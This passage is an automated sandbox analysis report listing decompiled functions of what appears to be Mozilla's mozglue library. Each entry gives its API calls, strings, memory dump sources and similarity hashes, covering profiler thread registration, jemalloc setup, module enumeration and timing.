VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4D46FD

Strings

user32.dll, xrefs: 6C4D4557, 6C4D463F
WRusr.dll, xrefs: 6C4D44B5
kernel32.dll, xrefs: 6C4D44CD
GTl, xrefs: 6C4D44FC
NativeNtBlockSet_Write, xrefs: 6C4D46F7
l, xrefs: 6C4D4578

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GTl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-431935292
Opcode ID: a46cbd9f78bd2b789d63a04b29a38ce6cd1df2e08e18b265afc5dfd8f7f39086
Instruction ID: 97d239ba9ce77b30b137c52c731b8e0f4eeedb9d5c16f1e009794b027e84e4ae
Opcode Fuzzy Hash: a46cbd9f78bd2b789d63a04b29a38ce6cd1df2e08e18b265afc5dfd8f7f39086
Instruction Fuzzy Hash: 7C6114B0A04244AFEB00FF64CC19F99BBF8EB4634DF06C258E9089B641D7B4A945CF95

Function 6C50F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C50F8F9

Part of subcall function 6C4D6390: GetCurrentThreadId.KERNEL32 ref: 6C4D63D0
Part of subcall function 6C4D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4D63DF
Part of subcall function 6C4D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4D640E

ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F93A
GetCurrentThreadId.KERNEL32 ref: 6C50F98A
GetCurrentThreadId.KERNEL32 ref: 6C50F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F716

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

Part of subcall function 6C4CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C50F739
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F746
GetCurrentThreadId.KERNEL32 ref: 6C50F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54385B,00000002,?,?,?,?,?), ref: 6C50F829
free.MOZGLUE(?,?,00000000,?), ref: 6C50F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C50F866
free.MOZGLUE(?), ref: 6C50FA0C

Part of subcall function 6C4D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D55E1), ref: 6C4D5E8C
Part of subcall function 6C4D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D5E9D
Part of subcall function 6C4D5E60: GetCurrentThreadId.KERNEL32 ref: 6C4D5EAB
Part of subcall function 6C4D5E60: GetCurrentThreadId.KERNEL32 ref: 6C4D5EB8
Part of subcall function 6C4D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D5ECF
Part of subcall function 6C4D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4D5F27
Part of subcall function 6C4D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4D5F47
Part of subcall function 6C4D5E60: GetCurrentProcess.KERNEL32 ref: 6C4D5F53
Part of subcall function 6C4D5E60: GetCurrentThread.KERNEL32 ref: 6C4D5F5C
Part of subcall function 6C4D5E60: GetCurrentProcess.KERNEL32 ref: 6C4D5F66
Part of subcall function 6C4D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4D5F7E

free.MOZGLUE(?), ref: 6C50F9C5
free.MOZGLUE(?), ref: 6C50F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C50F71F
" attempted to re-register as ", xrefs: 6C50F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C50F9A6
Thread , xrefs: 6C50F789

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4d4a6e6e36a699c7abd76ff4acde533f585bda7ef87de42cdc4186b8084e5523
Instruction ID: 57b49295ccb49847d59fcb1488b0e568b65c8bfc62af6666c432186b40d6e4ec
Opcode Fuzzy Hash: 4d4a6e6e36a699c7abd76ff4acde533f585bda7ef87de42cdc4186b8084e5523
Instruction Fuzzy Hash: 5981D3716046049FD710EF28CC40EAEB7A5FFC5308F558A6DE8499BB51EB30A849CBD6

Function 6C50EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50EE60
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EE6D
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C50EEA5
CloseHandle.KERNEL32(?), ref: 6C50EEB4
free.MOZGLUE(00000000), ref: 6C50EEBB
GetCurrentThreadId.KERNEL32 ref: 6C50EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50EECF

Part of subcall function 6C50DE60: GetCurrentThreadId.KERNEL32 ref: 6C50DE73
Part of subcall function 6C50DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4D4A68), ref: 6C50DE7B
Part of subcall function 6C50DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4D4A68), ref: 6C50DEB8
Part of subcall function 6C50DE60: free.MOZGLUE(00000000,?,6C4D4A68), ref: 6C50DEFE
Part of subcall function 6C50DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C50DF38

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C50EF1E
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EF2B
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EF59
GetCurrentThreadId.KERNEL32 ref: 6C50EFB0
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EFBD
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50EFE1
GetCurrentThreadId.KERNEL32 ref: 6C50EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F000

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C50F02F

Part of subcall function 6C50F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50F09B
Part of subcall function 6C50F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C50F0AC
Part of subcall function 6C50F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C50F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C50EED7
[I %d/%d] profiler_pause, xrefs: 6C50F008

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 03442b0cc0b2d389a1ce4bd6081c0a09838b9f6976c6888cfba13e74274fd118
Instruction ID: df89f763c38337af0bf89e1417aa7741baca58989e285f6b11be9b5742a935b8
Opcode Fuzzy Hash: 03442b0cc0b2d389a1ce4bd6081c0a09838b9f6976c6888cfba13e74274fd118
Instruction Fuzzy Hash: 0151C535704614DFDB00BB68DC08B997BB4EB8632CF26C769E955C3B41DBB54804C7AA

Function 6C4FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C54E804), ref: 6C4FD047
GetSystemInfo.KERNEL32(?), ref: 6C4FD093
__Init_thread_footer.LIBCMT ref: 6C4FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C54E810,00000040), ref: 6C4FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7B8,00001388), ref: 6C4FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E744,00001388), ref: 6C4FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E784,00001388), ref: 6C4FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7DC,00001388), ref: 6C4FD1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FD322
Compile-time page size does not divide the runtime one., xrefs: 6C4FD26D
MOZ_CRASH(), xrefs: 6C4FD277
MALLOC_OPTIONS, xrefs: 6C4FD0CB
<jemalloc>, xrefs: 6C4FD268, 6C4FD311

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: e237555118ce13ad6c456bb6b51e553e9f50a9f0f1fe0b5a466158bd14d051fa
Instruction ID: 7d208b0dc60aea560ec84d89ecb440519d91f7f4e654d32763fe695af7ece600
Opcode Fuzzy Hash: e237555118ce13ad6c456bb6b51e553e9f50a9f0f1fe0b5a466158bd14d051fa
Instruction Fuzzy Hash: 0B81F470B002409FEB04EF68CD44F69B7F5EB8631DF128529E92197B81D7B19806CBDA

Function 6C4D7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4D801D

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4D808D

Part of subcall function 6C4DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D8199

Strings

0>Pl, xrefs: 6C4D811E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Pl
API String ID: 2721933968-19242752
Opcode ID: 66718a74ab2f4ada94e54fb868922cc388bac91d685cd68a23c924b7c34316f2
Instruction ID: 3c58d402fb0a663b3ca836125eb92a9a4fa398269da08c1148dd958f24fd8aed
Opcode Fuzzy Hash: 66718a74ab2f4ada94e54fb868922cc388bac91d685cd68a23c924b7c34316f2
Instruction Fuzzy Hash: 025144B1E001149BDB00EBA9DC84EAFB7B9AF89364F155125E815E7741E730AD09CBE1

Function 6C4D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D5E9D

Part of subcall function 6C4E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B85
Part of subcall function 6C4E5B50: EnterCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B90
Part of subcall function 6C4E5B50: LeaveCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5BD8
Part of subcall function 6C4E5B50: GetTickCount64.KERNEL32 ref: 6C4E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4D6017

Part of subcall function 6C4C4310: moz_xmalloc.MOZGLUE(00000010,?,6C4C42D2), ref: 6C4C436A
Part of subcall function 6C4C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4C42D2), ref: 6C4C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4D5F47
GetCurrentProcess.KERNEL32 ref: 6C4D5F53
GetCurrentThread.KERNEL32 ref: 6C4D5F5C
GetCurrentProcess.KERNEL32 ref: 6C4D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4D5F27

Part of subcall function 6C4DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D55E1), ref: 6C4D5E8C

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D55E1), ref: 6C4D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D55E1), ref: 6C4D60CC

Strings

GeckoMain, xrefs: 6C4D5ECE, 6C4D6015

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 290772258c1e58d4ab3a51d2af7839a0bdf7e02261059c451459be4e74632ca5
Instruction ID: d28925bd1894a283ba1d8e8e074d0a1fd024435a8f3e5c554983b92aadb93768
Opcode Fuzzy Hash: 290772258c1e58d4ab3a51d2af7839a0bdf7e02261059c451459be4e74632ca5
Instruction Fuzzy Hash: DD71B5B05047409FD701EF28C890E6ABBF0FF89308F15496DD4868BB52D770E958CB92

Function 6C4D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4C3217
Part of subcall function 6C4C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4C3236
Part of subcall function 6C4C31C0: FreeLibrary.KERNEL32 ref: 6C4C324B
Part of subcall function 6C4C31C0: __Init_thread_footer.LIBCMT ref: 6C4C3260
Part of subcall function 6C4C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4C327F
Part of subcall function 6C4C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4C328E
Part of subcall function 6C4C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4C32AB
Part of subcall function 6C4C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4C32D1
Part of subcall function 6C4C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4C32E5
Part of subcall function 6C4C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4D9675
__Init_thread_footer.LIBCMT ref: 6C4D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4D9707
__Init_thread_footer.LIBCMT ref: 6C4D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4D97B7
FreeLibrary.KERNEL32 ref: 6C4D97D0
FreeLibrary.KERNEL32 ref: 6C4D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4D9824

Strings

NtMapViewOfSection, xrefs: 6C4D9701
MapViewOfFileNuma2, xrefs: 6C4D97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4D9670
ntdll.dll, xrefs: 6C4D96E3

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 8e29faa921f6fc180b674efbf3541818ad41ca6162b1236f2a8940db61b5d973
Instruction ID: a57f0a2f834024a2084106f29ba5d070a4484ce46f62d35d4fb6a6fc27207e4a
Opcode Fuzzy Hash: 8e29faa921f6fc180b674efbf3541818ad41ca6162b1236f2a8940db61b5d973
Instruction Fuzzy Hash: B861C471600201EBDF00FF68DDA4F9A7BB1EB8A319F128229E916D3740DB35A854CB95

Function 6C526660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C54F618), ref: 6C526694
GetThreadId.KERNEL32(?), ref: 6C5266B1
GetCurrentThreadId.KERNEL32 ref: 6C5266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5266E1
EnterCriticalSection.KERNEL32(6C54F618), ref: 6C526734
GetCurrentProcess.KERNEL32 ref: 6C52673A
LeaveCriticalSection.KERNEL32(6C54F618), ref: 6C52676C
GetCurrentThread.KERNEL32 ref: 6C5267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C526868
RtlCaptureContext.NTDLL ref: 6C52687F

Strings

WalkStack64, xrefs: 6C526890

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 23bf87513431a1ab8a988123ca44c95f8c04492eea9fe8e5a87bfd96ffc53318
Instruction ID: f08b1432fbfee278762a410c83b0d4c8746076366c44792d8afbdde035d0e69f
Opcode Fuzzy Hash: 23bf87513431a1ab8a988123ca44c95f8c04492eea9fe8e5a87bfd96ffc53318
Instruction Fuzzy Hash: 7251AB71A09301AFDB11DF24CC44A5ABBF4FF89718F05892DF59887680DB74E9188B96

Function 6C50DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50DE73
GetCurrentThreadId.KERNEL32 ref: 6C50DF7D
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50DF8A
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50DFC9
GetCurrentThreadId.KERNEL32 ref: 6C50DFF7
